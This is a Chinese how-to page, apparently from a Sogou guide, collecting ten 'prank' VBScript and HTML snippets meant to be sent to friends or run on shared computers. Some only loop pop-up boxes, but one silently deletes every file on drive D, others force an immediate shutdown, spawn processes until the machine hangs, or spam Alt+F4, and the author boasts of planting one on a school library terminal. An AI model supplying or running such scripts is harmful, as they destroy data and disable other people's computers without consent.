整人代码大全
操作方法
- 01
【代码一】 你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可)。 代码如下: On Error Resume Next Dim wsh,ye set wsh=createobject("wscript.shell") for i=1 to 10 wscript.sleep 700 wsh.AppActivate("与 xx 聊天中") wsh.sendKeys "^v" wsh.sendKeys i wsh.sendKeys "%s" next wscript.quit
- 02
【代码二】 我就用这个程序放在学校图书馆查询书刊的机器上,好多人都拿它没办法。 do msgbox "You are foolish!" loop
- 03
【代码三】 打开无数个计算器,直到死机。 set wsh=createobject("wscript.shell") do wsh.run "calc" loop
- 04
【代码四】 直接关机。 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true
- 05
【代码五】 删除D:\所有文件。 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
- 06
【代码六】 不断弹出窗口 while(1) msgbox "哈哈 你被耍了!" loop
- 07
【代码七】 不断按下alt+f4(开什么都关闭)。 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") while(1) WSHshell.SendKeys "%{F4}" loop
- 08
【代码八】 按500次回车 (以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ,500可以随意更改)。 dim s do until s=500 s=s+1 msgbox "哥们,给我按500次回车吧",64 loop
- 09
【代码九】 如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的 时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法。代码如下: on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪,不说我是猪就一分钟关机,不信,试下···"" ",0 ,true dim a do while(a <> "我是猪") a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,好乖"
- 10
【代码十】 网页整人效果代码,想看效果,只要复制这下面的所有代码保存在text文件里,修改文件后缀为txt就能看到效果了。 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312"> <title>网页特效|Linkweb.cn/Js|---很恶心的常见整人效果</title> </head> <body> <a href="" onMouseover="alert('为什么把鼠标放到这里?'); alert('我不是说过不可以这样吗?'); alert('你把我的话当什么了?'); alert('你知道错了吗?'); alert('什么?你居然....'); alert('居然还没意识到自己做错了?'); alert('那好,你要为此付出代价!'); alert('我要你在这里点足一千下......'); alert('什么?你开始有点后悔了?'); alert('何必呢?'); alert('你当初干什么去了?'); alert('不原谅你!'); alert('好从现在开始再点995下......'); alert('你的手开始累了吗?'); alert('什么?你已经没力气了?'); alert('你一直在求我原谅你啊!'); alert('看来你是真的知道错了!'); alert('下次你还会这么做吗?'); alert('真的不会了?'); alert('那好,今天就放你一马!'); alert('写封信给我说声对不起!'); alert('你能这么做我很高兴!!!'); document.bgColor='black'; document.fgColor='White'; window.location.href='mailto:mygod@god?subject=对不起,下次不敢了!';">不许把鼠标移到这里</a> </body> </html>
- End
免责声明:
本页搜狗指南内容仅代表作者本人意见,若因此产生任何纠纷由作者本人负责,概与搜狗公司无关。本页搜狗指南内容仅供参考,请您根据自身实际情况谨慎操作。尤其涉及您或第三方利益等事项,请咨询专业人士处理。